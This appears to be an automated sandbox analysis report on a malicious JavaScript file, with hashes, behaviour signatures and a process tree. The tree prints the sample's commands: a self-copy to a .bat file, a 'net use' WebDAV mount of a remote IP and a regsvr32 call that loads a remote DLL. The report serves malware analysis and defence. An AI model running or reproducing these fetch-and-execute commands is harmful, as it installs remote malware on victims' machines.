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Analysis

  • max time kernel
    148s
  • max time network
    152s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240704-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240704-enlocale:en-usos:windows10-2004-x64system
  • submitted
    09/07/2024, 08:19

General

  • Target

    28034278092616319677.js

  • Size

    14KB

  • MD5

    1234aebaf9d395b177bfa95b56c61dc2

  • SHA1

    b8458ddbfec3baf6433537a68ed36076daace166

  • SHA256

    df085d537d229075c1fbda32e736671566e856ccb2258b06d4666c315d980e91

  • SHA512

    dfdd614329a595df31a3a5a61ab14fd8a425f55f6c6696aa30173b5727a65ee06f586ed65ad6709aba339876082be334930a619b6c77d102c03d096eccedbcd9

  • SSDEEP

    384:F7iiDcO+vvck10SOuTVgb/NdVQzRNs83YY83Ye:8Ac/cvF7dqe

Score
7/10

Malware Config

Signatures

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Runs net.exe
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\28034278092616319677.js
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:3960
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /k copy "C:\Users\Admin\AppData\Local\Temp\28034278092616319677.js" "C:\Users\Admin\AppData\Local\Temp\\prepareringwooden.bat" && "C:\Users\Admin\AppData\Local\Temp\\prepareringwooden.bat"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4060
      • C:\Windows\system32\net.exe
        net use \\45.9.74.13@8888\DavWWWRoot\
        3⤵
          PID:3312
        • C:\Windows\system32\regsvr32.exe
          regsvr32 /s \\45.9.74.13@8888\DavWWWRoot\17.dll
          3⤵
            PID:2944

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

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      Downloads

      • C:\Users\Admin\AppData\Local\Temp\prepareringwooden.bat

        Filesize

        14KB

        MD5

        1234aebaf9d395b177bfa95b56c61dc2

        SHA1

        b8458ddbfec3baf6433537a68ed36076daace166

        SHA256

        df085d537d229075c1fbda32e736671566e856ccb2258b06d4666c315d980e91

        SHA512

        dfdd614329a595df31a3a5a61ab14fd8a425f55f6c6696aa30173b5727a65ee06f586ed65ad6709aba339876082be334930a619b6c77d102c03d096eccedbcd9